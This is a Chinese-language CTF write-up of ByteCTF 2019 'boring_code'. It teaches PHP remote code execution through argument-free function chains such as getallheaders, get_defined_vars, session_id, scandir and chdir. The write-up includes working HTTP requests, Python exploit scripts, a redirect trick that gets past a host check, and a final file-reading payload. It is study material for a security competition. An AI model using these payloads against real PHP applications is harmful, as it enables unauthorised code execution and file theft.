无参函数RCE-bytectf2019-boring_code

前言

本题涉及的无参函数RCE的思路值得整理一下

无参函数RCE

如果代码有类似如下的限制

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

该正则会ban掉带有参数的函数,只允许执行不含参数的函数

1
2
3
a();   //通过
a(b()); //通过
a('test'); //不通过

getenv()

1
2
getenv - 获取环境变量的值
getenv ( string $varname [, bool $local_only=FALSE ]): string

eg:var_dump(getenv());获取所有环境变量

eg:var_dump(getenv('PATH'));获取某个环境变量的值

可以使用以下的办法随机取出这个大数组中的一些值

1
2
3
for($i=0;$i<5;$i++){
var_dump(array_rand(array_flip(getenv())));
}

array_rand从数组中随机取出一个或多个单元

array_flip将数组中的键名变成值,值变成键名

getallheaders()

该函数的作用是获取全部 HTTP 请求头信息

http://127.0.0.1/bytesctf/web1_test.php?code=var_dump(getallheaders());
同时我们在请求头里加入恶意参数

1
2
3
4
5
6
7
8
9
10
GET /bytesctf/web1_test.php?code=var_dump(reset(getallheaders())); HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1/bytesctf/web1_test.php?code=var_dump(getallheaders());
Cookie:PHPSESSID=9knkec8tve0uj70b2git95a0d3
hack:phpinfo();

PS:不知道为什么本地测试的时候返回的数组是倒序的,也就是放在最后一个的hack:phpinfo();在数组中却是第一个,暂时还没搞懂为什么

GET /bytesctf/web1_test.php?code=eval(reset(getallheaders()));这样便可执行相应的代码,然后进一步利用

get_defined_vars()

前面讲的getallheaders()函数是apache的函数,所以必须是中间件是apache才能利用,get_defined_vars()利用的范围则更为广泛

1
2
3
get_defined_vars — 返回由所有已定义变量所组成的数组 
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

GET /bytesctf/web1_test.php?code=var_dump(get_defined_vars());
发现确实可以返回$_GET,$_POST,$_COOKIE,$_FILES,$_SESSION,$_REQUEST,$_SERVER等全局变量,可以在GET中添加参数进行RCE

GET /bytesctf/web1_test.php?code=var_dump(end(current(get_defined_vars())));&hack=phpinfo(); HTTP/1.1取到了相应的值

GET /bytesctf/web1_test.php?code=eval(end(current(get_defined_vars())));&hack=phpinfo(); HTTP/1.1成功执行phpinfo

再附一个使用$_FILE的参考脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

使用session_id()也能达到类似的效果

1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

dirname() & chdir()

1
2
3
dirname — 返回路径中的目录部分
dirname ( string $path ) : string
给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。

也就是我们可以通过dirname获取上层目录,并且是可迭代的,使用一层就上跳一层

1
2
3
chdir — 改变目录
chdir ( string $directory ) : bool
将 PHP 的当前目录改为 directory。
1
2
getcwd — 取得当前工作目录
getcwd ( void ) : string

通过以上函数的配合就可以达到目录跳转的功能chdir(dirname(getcwd()))

构造出任意读取GET /bytesctf/web1_test.php?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));;

bytectf-Boring_Code

查看源代码有hint,直接查看code文件

题面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

第一层限制死了得是xxx.baidu.com,有两种办法,第一种直接买域名,第二种则是利用baidu的link跳转,跳到自己的网站,然后网站上写相应的payload,绕过了域名的限制

类似这样

1
https://www.baidu.com/link?url=w1-LGqOMWeSjD0ciAK9yBavAZRAeHbXiKNPeEkicXrulug0uo6_PD-kiguT6pVJN&wd=&eqid=ada158ea00375a58000000065d7baf02

接下来就是利用无参函数来读取文件,思路是利用chr(time())来产生.,达到scandir('.')的效果,其中chr()一个值是模256的

根据hint,flag的文件在上层目录,还需要构造一个上跳

1
2
3
4
5
6
7
8
9
10
php > var_dump(scandir('.'));
php shell code:1:
array(3) {
[0] =>
string(1) "."
[1] =>
string(2) ".."
[2] =>
string(8) "web1.php"
}

这样通过scandir就可以提取出一个..,然后通过chdir('..')来完成上跳,但是这个函数返回的是布尔型,而time()可以接受个布尔型,并且没有什么影响(在PHP5.6是这样的,我在本地7.3版本测试时发现time接受布尔值后一直返回NULL)

这样就可以构造最终的payload
readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));

部署在跳转域名的服务器下,一秒打一次,256秒内一定能打到

参考链接

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

https://xz.aliyun.com/t/6305#toc-3